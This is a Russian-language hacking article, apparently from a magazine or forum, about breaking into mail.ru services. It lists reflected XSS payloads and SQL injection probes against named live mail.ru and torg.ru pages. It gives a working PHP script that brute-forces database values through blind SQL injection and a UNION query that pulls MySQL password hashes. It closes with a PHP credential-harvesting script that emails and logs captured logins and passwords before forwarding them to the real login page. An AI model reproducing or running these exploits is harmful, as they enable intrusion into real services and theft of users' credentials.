Взлом mail.ru

http://torg.ru/catalog/search.php?price_from="><h1>XSS</h1><br" 

 http://7ya.mail.ru/image.php?in=>XSS - правда он "немного" 

' на ' и " на "

<img src=$in>

<img>

<script src=mysite.ru/xxx.js>. 

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' 

SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9'' 
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1 

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=1/* 

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=2/* 

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="a"/* 

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="i"/* 

<? 
#Скрипт для посимвольного брута полей БД by pixcher (http://runthes.ru) 
set_time_limit(0); //пусть наш скрипт не обламывается, если перебор затягивается на длительное время 

$find="user()";# Искомая строка (здесь может быть любое поле БД в виде подзапроса) 
$bruteline ='qwertyuiopasdfghjklzxcvbnm1234567890_+!@#$%^&*'"()';#Предполагаем, что исходная строка состоит только из этих символов 
$k=1;#Номер символа, который мы брутим (изначально первый =)) 

#Далее идёт функция для скачивания веб странички, адрес которой передаётся ей в параметре 
function get_page ($link){ 
$url = parse_url ($link); 
$scr = $url['path']; 
$scr .= ($url['query'] > "")?"?".$url['query']:""; 
$scr .= ($url['fragment'] > "")?"#".$url['fragment']:""; 
$host .= $url['host']; 
$port = ($url['port'] > "")?$url['port']:80; 
$sock = fsockopen ($host, $port); 
fputs ($sock, "GET /$scr HTTP/1.0rnHost: $hostrnrn"); 
$cont = ""; 
while (!feof ($sock)) { $cont .= fgets ($sock); } 
fclose ($sock); 
return $cont; 
} 


for ($i=0;$i<strlen($bruteline);$i++){ # запускаем цикл для всех наших символов 
$link="http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'%20AND%20lower(substring($find,$k,1))="$bruteline[$i]"/*";# Динамически изменяющийся запрос =) 
$page=get_page($link);# Скачиваем страницу 
if(strstr($page, "17107")){ # ...и если она содержит магическое число 17107... 
echo "$bruteline[$i]"; # ...показываем найденный символ... 
$i=0; # ...начинаем перебор заново... 
$k++; # ...но для следующего символа 
}} 
?> 

$find="user()"; 
перебирать результаты подзапроса, например $find="(SELECT password from mysql.user LIMIT 1)"; 
запискаем скрипт, но он выдаёт...а хо-хо не хе-хе ("а хо-хо не хе-хе", - хакерский слэнг, заменяющий фразу "а не хотити ли вы х*я?" - прим редактора ;)) 
эх..подзапросы к сожалению не поддерживаются в почтовой БД =( 

Ничего сташного, UNION SELECT ещё никто не отменял, так что возможен такой перебор: 

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=-9' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a" 

http://talk.mail.ru/login.html?popup="><h1>XSS!!!Ваще%20ничо%20не%20фильтруется%20=)%20"%20'<br" 

http://talk.mail.ru/login.html?popup="><script>

<? 
$adminmail = "mymail@mail.ru"; 

function email($to,$mailtext) 
{ 
mail($to,'password',$mailtext,$adminmail); 
} 

$text="[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]rn"; 
email($adminmail,$text); 

$file = fopen("logs.txt","a"); 
fputs($file, $text); 
fclose($file); 

echo "<FORM id='auth' action='http://talk.mail.ru/login.html' method=post> 
<INPUT type=hidden name=login value='$_POST[login]'> 
<INPUT type=hidden name=pass value='$_POST[pass]'> 
<script>auth.submit();</script> 
</FORM>"; 
?>